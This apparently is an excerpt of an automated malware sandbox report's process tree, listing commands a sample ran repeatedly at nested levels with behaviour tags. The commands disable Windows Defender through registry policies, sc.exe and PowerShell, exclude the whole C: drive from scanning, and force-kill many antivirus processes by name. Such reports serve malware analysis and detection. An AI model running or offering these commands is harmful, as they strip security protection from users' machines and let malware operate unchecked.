C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled20⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"20⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"20⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""20⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsMpEng.exe20⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SecurityHealthService.exe20⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avguard.exe20⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avgnt.exe20⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avcenter.exe20⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avast.exe20⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im ekrn.exe20⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im egui.exe20⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bdagent.exe20⤵
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f19⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f19⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend19⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled19⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"19⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"19⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""19⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsMpEng.exe19⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SecurityHealthService.exe19⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avguard.exe19⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avgnt.exe19⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avcenter.exe19⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avast.exe19⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im ekrn.exe19⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im egui.exe19⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bdagent.exe19⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mcshield.exe19⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mctray.exe19⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mbam.exe19⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im norton.exe19⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im tmproxy.exe19⤵
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f18⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f18⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend18⤵
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled18⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"18⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"18⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""18⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsMpEng.exe18⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SecurityHealthService.exe18⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avguard.exe18⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avgnt.exe18⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avcenter.exe18⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avast.exe18⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im ekrn.exe18⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im egui.exe18⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bdagent.exe18⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mcshield.exe18⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mctray.exe18⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mbam.exe18⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im norton.exe18⤵
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f17⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"17⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f17⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend17⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled17⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"17⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"17⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""17⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsMpEng.exe17⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SecurityHealthService.exe17⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avguard.exe17⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avgnt.exe17⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avcenter.exe17⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avast.exe17⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im ekrn.exe17⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im egui.exe17⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bdagent.exe17⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mcshield.exe17⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mctray.exe17⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mbam.exe17⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im norton.exe17⤵
- Kills process with taskkill
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f16⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f16⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend16⤵
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled16⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"16⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"16⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""16⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsMpEng.exe16⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SecurityHealthService.exe16⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avguard.exe16⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avgnt.exe16⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avcenter.exe16⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avast.exe16⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im ekrn.exe16⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im egui.exe16⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bdagent.exe16⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mcshield.exe16⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mctray.exe16⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mbam.exe16⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im norton.exe16⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im tmproxy.exe16⤵
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f15⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"15⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f15⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend15⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled15⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"15⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"15⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""15⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsMpEng.exe15⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SecurityHealthService.exe15⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avguard.exe15⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avgnt.exe15⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avcenter.exe15⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avast.exe15⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im ekrn.exe15⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im egui.exe15⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bdagent.exe15⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mcshield.exe15⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mctray.exe15⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mbam.exe15⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im norton.exe15⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im tmproxy.exe15⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im pavsrv.exe15⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im fsgk.exe15⤵
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f14⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"14⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f14⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend14⤵
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled14⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"14⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"14⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""14⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsMpEng.exe14⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SecurityHealthService.exe14⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avguard.exe14⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avgnt.exe14⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avcenter.exe14⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avast.exe14⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im ekrn.exe14⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im egui.exe14⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bdagent.exe14⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mcshield.exe14⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mctray.exe14⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mbam.exe14⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im norton.exe14⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im tmproxy.exe14⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im pavsrv.exe14⤵
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f13⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f13⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend13⤵
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled13⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"13⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"13⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsMpEng.exe13⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SecurityHealthService.exe13⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avguard.exe13⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avgnt.exe13⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avcenter.exe13⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avast.exe13⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im ekrn.exe13⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im egui.exe13⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bdagent.exe13⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mcshield.exe13⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mctray.exe13⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mbam.exe13⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im norton.exe13⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im tmproxy.exe13⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im pavsrv.exe13⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im fsgk.exe13⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im savservice.exe13⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im gdata.exe13⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im vipre.exe13⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im webroot.exe13⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im zonealarm.exe13⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bullguard.exe13⤵
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f12⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"12⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f12⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend12⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled12⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"12⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"12⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""12⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsMpEng.exe12⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SecurityHealthService.exe12⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avguard.exe12⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avgnt.exe12⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avcenter.exe12⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avast.exe12⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im ekrn.exe12⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im egui.exe12⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bdagent.exe12⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mcshield.exe12⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mctray.exe12⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mbam.exe12⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im norton.exe12⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im tmproxy.exe12⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im pavsrv.exe12⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im fsgk.exe12⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im savservice.exe12⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im gdata.exe12⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im vipre.exe12⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im webroot.exe12⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im zonealarm.exe12⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bullguard.exe12⤵
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f11⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"11⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f11⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend11⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled11⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"11⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"11⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""11⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsMpEng.exe11⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SecurityHealthService.exe11⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avguard.exe11⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avgnt.exe11⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avcenter.exe11⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avast.exe11⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im ekrn.exe11⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im egui.exe11⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bdagent.exe11⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mcshield.exe11⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mctray.exe11⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mbam.exe11⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im norton.exe11⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im tmproxy.exe11⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im pavsrv.exe11⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im fsgk.exe11⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im savservice.exe11⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im gdata.exe11⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im vipre.exe11⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im webroot.exe11⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im zonealarm.exe11⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bullguard.exe11⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im quickheal.exe11⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV112⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im rising.exe11⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im 360.exe11⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im adaware.exe11⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im immunet.exe11⤵
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f10⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend10⤵
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled10⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"10⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"10⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""10⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsMpEng.exe10⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SecurityHealthService.exe10⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avguard.exe10⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avgnt.exe10⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avcenter.exe10⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avast.exe10⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im ekrn.exe10⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im egui.exe10⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bdagent.exe10⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mcshield.exe10⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mctray.exe10⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mbam.exe10⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im norton.exe10⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im tmproxy.exe10⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im pavsrv.exe10⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im fsgk.exe10⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im savservice.exe10⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im gdata.exe10⤵
-
-
